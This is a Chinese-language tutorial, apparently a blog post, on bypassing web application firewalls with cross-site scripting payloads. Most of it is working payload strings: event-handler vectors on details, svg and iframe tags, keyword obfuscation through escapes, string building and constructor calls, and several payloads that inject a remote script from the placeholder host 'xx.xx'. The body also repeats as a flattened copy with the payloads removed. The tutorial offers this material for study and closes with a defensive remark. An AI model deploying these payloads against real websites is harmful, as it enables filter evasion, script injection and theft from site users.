XSS绕过某锁
字数 888 2025-08-25 22:58:34

XSS绕过WAF技术详解

前言

本文详细总结了多种绕过Web应用防火墙(WAF)的XSS攻击技术,包括标签遗漏、属性利用、编码技巧和函数构造等方法。这些技术展示了XSS攻击的多样性和创造性,同时也揭示了WAF防护的局限性。

遗漏标签技术

WAF在设计时需要考虑数据清洗过程中的资源消耗和业务影响,这可能导致某些标签被遗漏检测:

<details open ontoggle=alert(1)>

类似容易被遗漏的标签还有<svg><iframe>等,这些标签可以成为绕过WAF的入口点。

Top属性及其变种

通过利用JavaScript中的全局对象属性,可以构造多种绕过方式:

<details open ontoggle=top['al'%2B'ert'](1)>
<details open ontoggle=self['al'%2B'ert'](1)>
<details open ontoggle=parent['al'%2B'ert'](1)>
<details open ontoggle=frames['al'%2B'ert'](1)>
<details open ontoggle=content['al'%2B'ert'](1)>
<details open ontoggle=window['al'%2B'ert'](1)>

其中top是最短的变种,其他可用的全局对象包括selfparentframescontentwindow

编码技术

通过编码敏感部分可以绕过WAF的关键字检测:

JS8编码

<details open ontoggle=top['al\145rt'](1)>
<details open ontoggle=top['\141\154\145\162\164'](1)>

JS16编码

<details open ontoggle=top['al\x65rt'](1)>

其他编码方式

<details open ontoggle=top[/al/.source%2B/ert/.source](1)>

parseInt()与toString()技巧

利用数字转换函数构造alert:

// alert字符串用parseInt函数,以基数为30转化后为8680439
8680439..toString(30) // 返回"alert"

实际应用:

<details open ontoggle=top[8680439..toString(30)](1);>
<details open ontoggle=top[11189117..toString(32)](1);>

属性拼接技巧

示例1:利用alt和lang属性


这个例子巧妙地将altlang属性分别赋值为"al"和"ert",合并后形成"alert"。

示例2:变量拼接

<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>

alert被拦截时,可以改用其他函数如prompt,或者对alert(1)进行编码:

<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

也可以使用setTimeout函数:

<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>

eval函数替代方案

setTimeout利用

<svg/onload=setTimeout`alert\u0028233\u0029`>
<svg/onload=setInterval('al'%2b'ert(1)')>

外部JS引用

<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>

编码变种

<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>

函数组合

<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('')>
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('')>

constructor属性利用

通过JavaScript内置对象的constructor属性执行代码:

<svg/onload=Set.constructor('al'%2b'ert(1)')()>
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>
<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>

总结

本文展示了多种绕过WAF的XSS技术,包括:

  1. 利用被WAF遗漏的HTML标签
  2. 通过JavaScript全局对象属性构造执行
  3. 各种编码技术绕过关键字检测
  4. 利用数字转换函数构造敏感字符串
  5. 属性拼接和变量构造技巧
  6. 替代eval函数的方法
  7. constructor属性利用

这些技术不仅展示了XSS攻击的多样性,也提醒我们在设计WAF规则时需要全面考虑各种可能的绕过方式。防御XSS攻击需要多层次的安全措施,而不仅仅是依赖WAF。

XSS绕过WAF技术详解 前言 本文详细总结了多种绕过Web应用防火墙(WAF)的XSS攻击技术,包括标签遗漏、属性利用、编码技巧和函数构造等方法。这些技术展示了XSS攻击的多样性和创造性,同时也揭示了WAF防护的局限性。 遗漏标签技术 WAF在设计时需要考虑数据清洗过程中的资源消耗和业务影响,这可能导致某些标签被遗漏检测: 类似容易被遗漏的标签还有 <svg> 、 <iframe> 等,这些标签可以成为绕过WAF的入口点。 Top属性及其变种 通过利用JavaScript中的全局对象属性,可以构造多种绕过方式: 其中 top 是最短的变种,其他可用的全局对象包括 self 、 parent 、 frames 、 content 和 window 。 编码技术 通过编码敏感部分可以绕过WAF的关键字检测: JS8编码 JS16编码 其他编码方式 parseInt()与toString()技巧 利用数字转换函数构造alert: 实际应用: 属性拼接技巧 示例1:利用alt和lang属性 这个例子巧妙地将 alt 和 lang 属性分别赋值为"al"和"ert",合并后形成"alert"。 示例2:变量拼接 当 alert 被拦截时,可以改用其他函数如 prompt ,或者对 alert(1) 进行编码: 也可以使用 setTimeout 函数: eval函数替代方案 setTimeout利用 外部JS引用 编码变种 函数组合 constructor属性利用 通过JavaScript内置对象的constructor属性执行代码: 总结 本文展示了多种绕过WAF的XSS技术,包括: 利用被WAF遗漏的HTML标签 通过JavaScript全局对象属性构造执行 各种编码技术绕过关键字检测 利用数字转换函数构造敏感字符串 属性拼接和变量构造技巧 替代eval函数的方法 constructor属性利用 这些技术不仅展示了XSS攻击的多样性,也提醒我们在设计WAF规则时需要全面考虑各种可能的绕过方式。防御XSS攻击需要多层次的安全措施,而不仅仅是依赖WAF。